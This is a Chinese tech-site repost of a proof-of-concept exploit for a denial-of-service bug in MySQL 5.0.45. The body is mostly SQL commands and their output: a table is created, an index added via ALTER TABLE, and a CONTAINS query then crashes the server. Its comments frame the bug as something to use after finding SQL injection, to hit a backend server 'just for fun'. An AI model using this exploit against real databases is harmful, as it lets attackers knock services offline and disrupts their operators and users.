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服务器之家 - 数据库 - Mysql - mysql 5.0.45 (修改)拒绝服务漏洞

mysql 5.0.45 (修改)拒绝服务漏洞

2019-11-08 15:22mysql教程网 Mysql

mysql 5.0.45 (修改)拒绝服务漏洞的方法,追求安全的朋友可以参考下。

mysql 5.0.45 (修改)拒绝服务漏洞 
/* 
* MySQL <=6.0 possibly affected 
* Kristian Erik Hermansen 
* Credit: Joe Gallo 
* You must have Alter permissions to exploit this bug! 
* Scenario: You found SQL injection, but you want to punch backend server 
* in the nuts just for fun. Start with the Alter TABLE statement on 
* a table and field you know to exist. The first two SQL statements are 
* simply to demostrate reproducibility... 
*/ 

<snip> 
mysql> Create TABLE `test` ( 
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY, 
`foo` text NOT NULL 
) ENGINE=InnoDB DEFAULT CHARSET=latin1; 
Query OK, 0 rows affected 

mysql> Select * FROM test Where CONTAINS(foo, ''bar''); 
Empty set 

mysql> Alter TABLE test ADD INDEX (foo(100)); 
Query OK, 0 rows affected 
Records: 0 Duplicates: 0 Warnings: 0 

mysql> Select * FROM test Where CONTAINS(foo, ''bar''); 
ERROR 2013 : Lost connection to MySQL server during query 
</snip>

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